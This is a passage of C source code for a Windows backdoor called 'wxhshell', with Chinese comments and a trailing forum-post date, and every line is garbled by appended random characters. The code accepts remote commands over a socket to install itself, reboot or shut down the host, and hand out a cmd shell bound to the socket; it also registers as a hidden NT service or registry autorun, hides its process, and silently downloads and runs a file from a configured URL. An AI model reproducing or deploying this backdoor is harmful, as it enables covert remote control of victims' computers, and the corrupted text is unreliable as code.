    switch(cmd[0]) { 0uu)0:  
  VHm.uL_UW  
  // 帮助 ntQW+!s;P  
  case '?': { /:@)De(S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6~OJB!  
    break; kgHZaQnD  
  } ?kULR0uL+  
  // 安装 W3gHz T?{  
  case 'i': { "&C>=  
    if(Install()) z&Xk~R*$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cD t|v~  
    else 12@Ge]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~gdnD4[G  
    break; zF@[S  
    } qVW3oj<2  
  // 卸载 WK5B8u*<  
  case 'r': { lhX4 MB"  
    if(Uninstall()) >dJ[1s]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jqlfypU  
    else u7S C_3R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rn*@)5  
    break; z.Vf,<H  
    } .@0@Y  
  // 显示 wxhshell 所在路径 9-Z ?  
  case 'p': { 7Ue&y8Yf  
    char svExeFile[MAX_PATH]; w7c0jIf{  
    strcpy(svExeFile,"\n\r"); XS$#\UQ  
      strcat(svExeFile,ExeFile); :_|Xr'n`A  
        send(wsh,svExeFile,strlen(svExeFile),0); ojyP.R  
    break; d&lT/S  
    } I9e3-2THfj  
  // 重启 J1w,;T\55  
  case 'b': { seVT| z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }.1}yz^y  
    if(Boot(REBOOT)) +4+c zfz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i9|}-5ED  
    else { L d{`k  
    closesocket(wsh); |AXV4{j_i  
    ExitThread(0); @RZbo@{~  
    } %~:@}C%A  
    break; 9iV9q]($0  
    } gZBb /<  
  // 关机 2 sj: &][R  
  case 'd': { mU]pK5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RivhEc1h%  
    if(Boot(SHUTDOWN)) ?{P$|:ha  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Ck:=V%}g  
    else { LLL;SNY  
    closesocket(wsh); Zrzv';  
    ExitThread(0); X%5 `B2Wu  
    } <'48mip  
    break; MDZPp;\)  
    } 6~l+wu<$  
  // 获取shell -p"}K~lt:  
  case 's': { NiMsAI@j  
    CmdShell(wsh); C`-CfZZ  
    closesocket(wsh); @; tM R|p  
    ExitThread(0); :`>tCYy;  
    break; FNs$k=* 8  
  }  @{Dfro  
  // 退出 .7M.bpmqE  
  case 'x': { SkmKf~v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *zMt/d*<&  
    CloseIt(wsh); Jp c %i8  
    break; /A+5q\8G  
    } /Ny#+$cfk  
  // 离开 7uf5w0]  
  case 'q': { 9fWR8iV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); KAi_+/]K_  
    closesocket(wsh); =sso )/3  
    WSACleanup(); 1SH]$V4C  
    exit(1); Yr\quinLL  
    break; #.vp \W  
        } 2Da0*xn{  
  } [dXa,  
  } BY9Z}/{j  
D< kf/hj  
  // 提示信息 ?M^qSo=/~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3.9/mztS  
} ~Kl"V% >  
  } lbGPy'h<rt  
'-mzt~zGOY  
  return; ?mF:L"i  
} S..8,5mBH  
 :YPi>L5  
// shell模块句柄 }=JS d@`_  
int CmdShell(SOCKET sock) A H=%6oT2  
{ ArScJ\/Nwv  
STARTUPINFO si; RN}joKV  
ZeroMemory(&si,sizeof(si)); D2J)qCK1)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C ^c <s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bc NyB$S  
PROCESS_INFORMATION ProcessInfo; 0+[3>Ny 0  
char cmdline[]="cmd"; `l6OQdB3W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0~P]Fw^w  
  return 0; ;mg.} fI  
}  FLZ9Rg  
s:cJF  
// 自身启动模式 #K*p1}rf  
int StartFromService(void) pNZ3vTs6  
{ *>HS>#S  
typedef struct !E|R3e X_  
{ A'Z!l20_  
  DWORD ExitStatus; k2fJ  
  DWORD PebBaseAddress; gvPHB+#A  
  DWORD AffinityMask; S(^YTb7  
  DWORD BasePriority; &kn?=NW  
  ULONG UniqueProcessId; BS?i!Bm7  
  ULONG InheritedFromUniqueProcessId; @4KKm@(p85  
}   PROCESS_BASIC_INFORMATION; K:% MhH-  
kd_! S[  
PROCNTQSIP NtQueryInformationProcess; !T2{xmHKv$  
atW^^4 :  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b4EUr SL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ujqnl>l  
/Dyig  
  HANDLE             hProcess; \Ui8gDJ8y5  
  PROCESS_BASIC_INFORMATION pbi; )T?BO  
Y]Z&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  deq5u>  
  if(NULL == hInst ) return 0; 6)W8HX~+  
wkx#WC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $at\aJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %%I:L~c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \}%_FnP0ZU  
I2pE}6q  
  if (!NtQueryInformationProcess) return 0; LE~vSm^#  
J`C 2}$ ~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q@8(e&{#W  
  if(!hProcess) return 0; +>AVxV=A#  
K>5 bb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &x=_n'  
_/"e'@z  
  CloseHandle(hProcess); F>^KXq:Z  
X\w["! B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cvf?ID84  
if(hProcess==NULL) return 0; j?T>S]xOX  
BHS@whj  
HMODULE hMod; vl6|i)D  
char procName[255]; @P>>:002/  
unsigned long cbNeeded; 8G2QI4  
B5h)F> &G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `sy_'`i>X  
L_|iQwU%  
  CloseHandle(hProcess); gwsOw [;k  
O/$41mK+!  
if(strstr(procName,"services")) return 1; // 以服务启动  >|gXE>  
8r:T&)v  
  return 0; // 注册表启动 smn(q)tt  
} 2yD ?f8P4  
nr8#;D  
// 主模块 1|s` z  
int StartWxhshell(LPSTR lpCmdLine) +2k{y l  
{ !KT.p2\  
  SOCKET wsl; #;lEx'lKN  
BOOL val=TRUE; T+t7/PwC;  
  int port=0; A>315!d"  
  struct sockaddr_in door; qsN_EMgbdn  
.W$9nbly  
  if(wscfg.ws_autoins) Install(); 4~ &X]/_'  
;j[gE  
port=atoi(lpCmdLine); ux*G*QZ  
ew~uOG+  
if(port<=0) port=wscfg.ws_port; 7/fJQM  
}6 u)wF5  
  WSADATA data; "vkM*HP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @3 +   
q4'`qe  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ??|,wIRz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {zc*yV\  
  door.sin_family = AF_INET; 0F6@aQ\y3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |Q@(<'8=  
  door.sin_port = htons(port); ftRdK>a D  
=Lb(N61  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BeD>y@ it  
closesocket(wsl); L_+ Fin  
return 1; nB[B FVkU  
} X+ybgB4(  
cG3tn&AXi  
  if(listen(wsl,2) == INVALID_SOCKET) { 09 f;z  
closesocket(wsl); }5z!FXB  
return 1; #N'9F&:V$  
} %s5( ''a.  
  Wxhshell(wsl); a@9W'/?igk  
  WSACleanup(); |mdf u=  
0R0_UvsXU  
return 0; n$h+_xN  
$GQEdVSNo  
} - K"L6m|  
6/p9ag]  
// 以NT服务方式启动 M?<iQxtyb}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .:B0(4Mj  
{ a3z_o)"   
DWORD   status = 0; J-G)mvkv  
  DWORD   specificError = 0xfffffff; cg_tJ^vrY  
^vzXT>t-M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [Z;H= `  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jaVx9FR +  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U[q39FR  
  serviceStatus.dwWin32ExitCode     = 0; :xO43z  
  serviceStatus.dwServiceSpecificExitCode = 0; hOs~/bM  
  serviceStatus.dwCheckPoint       = 0; f'7/Wj  
  serviceStatus.dwWaitHint       = 0; /Tw $} 8  
7 4(bo \  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qC=ZH#  
  if (hServiceStatusHandle==0) return; z,@R jaX  
VG$%Vs  
status = GetLastError(); Tc/<b2 \g  
  if (status!=NO_ERROR) CPY|rV  
{ W>,D$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bGwj` lue  
    serviceStatus.dwCheckPoint       = 0; B4c;/W-  
    serviceStatus.dwWaitHint       = 0; 5nmE*(  
    serviceStatus.dwWin32ExitCode     = status; ;2MdvHhz1  
    serviceStatus.dwServiceSpecificExitCode = specificError; OMab!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V,\}|_GY  
    return; .#K\u![@N  
  } <~svy)Cz  
Xg;<?g?k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %RzkP}1>E  
  serviceStatus.dwCheckPoint       = 0; Lm0q/d2|\X  
  serviceStatus.dwWaitHint       = 0; `d x.<R#,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qjf4G[]!  
} O -p^S  
<K/iX%b?  
// 处理NT服务事件,比如:启动、停止 >Il{{{\>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :g-vy9vb  
{ Y8fel2;  
switch(fdwControl) !NKPy+v  
{ w2`JFxQ^x  
case SERVICE_CONTROL_STOP: 62[_u]<Yub  
  serviceStatus.dwWin32ExitCode = 0; 6pZ/C<Y|W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6$csFW3R  
  serviceStatus.dwCheckPoint   = 0; X&@>M}  
  serviceStatus.dwWaitHint     = 0; wLg@BSC.  
  { Y]B9*^d<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q'Y)Y(d  
  } K8QEHc:  
  return; g`"_+x'  
case SERVICE_CONTROL_PAUSE: M{Vi4ehOq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3XUsw1,[  
  break; N~(?g7  
case SERVICE_CONTROL_CONTINUE: /de~+I5AB~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  %Rm`YH?  
  break; PA,\o8]x  
case SERVICE_CONTROL_INTERROGATE: [LbCG  
  break; C6D Eq>v  
}; \#"&S@%c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `{}DLaD9  
} "M %WV>  
! ;Ctz'wz  
// 标准应用程序主函数 F)S?>P&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T\7t#Z k  
{ nv: VX{%  
|4` ;G(ta  
// 获取操作系统版本 {Z~ze`N/  
OsIsNt=GetOsVer(); 'm/`= QX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RNcnE1=  
f4|ir3oy  
  // 从命令行安装 }|c-i.0=  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7|)K!  
C}:_&^DQ  
  // 下载执行文件 i[vOpg]J  
if(wscfg.ws_downexe) { Dd)L~`k{)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o4aFgal1  
  WinExec(wscfg.ws_filenam,SW_HIDE); _o>?\:A  
} ;4`%?6%  
sB'~=1m^  
if(!OsIsNt) { d! _8+~  
// 如果时win9x,隐藏进程并且设置为注册表启动 r+h$]OJ  
HideProc(); irGgo-x  
StartWxhshell(lpCmdLine); y"w`yl{_  
} 9 tCF m.m  
else b X/%Q^Y  
  if(StartFromService()) 4L&Rs;  
  // 以服务方式启动 l?x'R("{  
  StartServiceCtrlDispatcher(DispatchTable); L@G~9{U>  
else zZPXI&,  
  // 普通方式启动 AUr~b3< 6  
  StartWxhshell(lpCmdLine); ^F|/\i   
difAQ<`  
return 0; {9nH#yv  
}
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只看该作者 1 发表于: 2006-10-10
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